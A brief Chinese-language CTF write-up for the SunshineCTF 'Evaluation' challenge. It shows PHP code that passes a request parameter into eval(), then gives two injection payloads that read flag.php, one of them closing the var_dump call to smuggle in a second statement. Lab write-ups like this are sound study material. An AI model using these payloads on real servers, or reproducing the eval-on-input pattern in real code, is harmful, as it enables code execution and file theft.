[PHP知识库]SunshineCTF - Evaluation

做一题 学一题

题目里不懂的? 列入学习清单 再一一搜 解决不同的问题

打开题目? php审计

<?php 

include "flag.php";
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");

?>

包含了一个flag.php

hello是可控的? 构造语句

get_defined_vars（） 返回由所有已定义的变量组成的数组

?hello=get_defined_vars()? 不行

?hello=file_get_contents('./flag.php')? ? ? 得到flag

这个file_get_contents函数是二进制的

定义与用法

把整一个文件读入字符串里? ?把文件的内容读入到一个字符串中的首选方法

方法二

看到request函数 发现是php文件包含? hello是可控的? 构造语句

?hello=);print_r(file(“./flag.php”));// 即可得到flag

参考sunshine CTF web writeup | ELSSM

与Sunshine CTF 2018 - Write-ups | Rawsec